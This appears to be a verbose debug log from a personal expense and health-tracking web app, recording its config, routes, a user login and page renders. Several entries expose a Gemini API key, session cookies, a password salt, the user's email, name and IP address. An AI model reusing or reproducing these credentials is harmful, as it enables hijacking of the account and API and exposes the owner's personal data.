  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-12T13:42:59.244Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-12T13:42:59.328Z server-connect:setup:upload Upload middleware configured.
2025-12-12T13:42:59.329Z server-connect:secure CSRF Protection initialized
2025-12-12T13:42:59.333Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-12T13:42:59.333Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-12T13:42:59.334Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-12T13:42:59.334Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-12T13:42:59.334Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-12T13:42:59.335Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-12T13:42:59.335Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-12T13:42:59.336Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-12T13:42:59.336Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-12T13:42:59.337Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-12T13:42:59.337Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-12T13:42:59.337Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-12T13:42:59.338Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-12T13:42:59.338Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-12T13:42:59.338Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-12T13:42:59.339Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-12T13:42:59.339Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-12T13:42:59.340Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-12T13:42:59.340Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-12T13:42:59.340Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-12T13:42:59.341Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-12T13:42:59.341Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-12T13:42:59.341Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-12T13:42:59.342Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-12T13:42:59.342Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-12T13:42:59.342Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-12T13:42:59.342Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-12T13:42:59.342Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-12T13:42:59.343Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-12T13:42:59.440Z server-connect:router Serving templateView /
2025-12-12T13:42:59.442Z server-connect:app Executing action step identify
2025-12-12T13:42:59.442Z server-connect:app options: { provider: 'security' }
2025-12-12T13:42:59.444Z server-connect:auth No login cookie found
2025-12-12T13:42:59.444Z server-connect:output identity: false
2025-12-12T13:42:59.444Z server-connect:app Executing action step restrict
2025-12-12T13:42:59.444Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:42:59.448Z server-connect:output restrict: undefined
2025-12-12T13:42:59.765Z server-connect:router Serving templateView /login
2025-12-12T13:42:59.766Z server-connect:app Executing action step identify
2025-12-12T13:42:59.766Z server-connect:app options: { provider: 'security' }
2025-12-12T13:42:59.766Z server-connect:auth No login cookie found
2025-12-12T13:42:59.766Z server-connect:output identity: false
2025-12-12T13:42:59.766Z server-connect:router Render template layouts/authentication
2025-12-12T13:42:59.767Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:42:59.764Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T13:43:11.646Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-12T13:43:11.647Z server-connect:app Executing action step identify
2025-12-12T13:43:11.647Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:11.647Z server-connect:auth No login cookie found
2025-12-12T13:43:11.647Z server-connect:output identity: false
2025-12-12T13:43:11.647Z server-connect:app Executing action step login
2025-12-12T13:43:11.647Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-12T13:43:11.653Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-12T13:43:11.715Z server-connect:output identity: 1
2025-12-12T13:43:11.715Z server-connect:app Executing action step restrict
2025-12-12T13:43:11.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:11.717Z server-connect:output restrict: undefined
2025-12-12T13:43:11.926Z server-connect:router Serving templateView /
2025-12-12T13:43:11.926Z server-connect:app Executing action step identify
2025-12-12T13:43:11.926Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:11.927Z server-connect:output identity: 1
2025-12-12T13:43:11.927Z server-connect:app Executing action step restrict
2025-12-12T13:43:11.927Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:43:11.928Z server-connect:output restrict: undefined
2025-12-12T13:43:11.928Z server-connect:app Executing action step restrict
2025-12-12T13:43:11.928Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:43:11.929Z server-connect:output restrict: undefined
2025-12-12T13:43:11.929Z server-connect:router Render template layouts/main
2025-12-12T13:43:11.929Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-12T13:43:12.808Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-12T13:43:12.808Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-12T13:43:12.809Z server-connect:app Executing action step identify
2025-12-12T13:43:12.809Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:12.809Z server-connect:output identity: 1
2025-12-12T13:43:12.809Z server-connect:app Executing action step restrict
2025-12-12T13:43:12.809Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:12.809Z server-connect:app Executing action step identify
2025-12-12T13:43:12.809Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:12.809Z server-connect:output identity: 1
2025-12-12T13:43:12.810Z server-connect:app Executing action step restrict
2025-12-12T13:43:12.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:12.810Z server-connect:output restrict: undefined
2025-12-12T13:43:12.811Z server-connect:app Executing action step single
2025-12-12T13:43:12.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-12T13:43:12.813Z server-connect:output restrict: undefined
2025-12-12T13:43:12.813Z server-connect:app Executing action step select
2025-12-12T13:43:12.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-12T13:43:12.815Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-12T13:43:12.822Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-12T13:43:20.117Z server-connect:router Serving templateView /expense/list
2025-12-12T13:43:20.117Z server-connect:app Executing action step identify
2025-12-12T13:43:20.117Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:20.117Z server-connect:output identity: 1
2025-12-12T13:43:20.117Z server-connect:app Executing action step restrict
2025-12-12T13:43:20.117Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:43:20.118Z server-connect:output restrict: undefined
2025-12-12T13:43:20.118Z server-connect:router Render template expense/list
2025-12-12T13:43:20.118Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
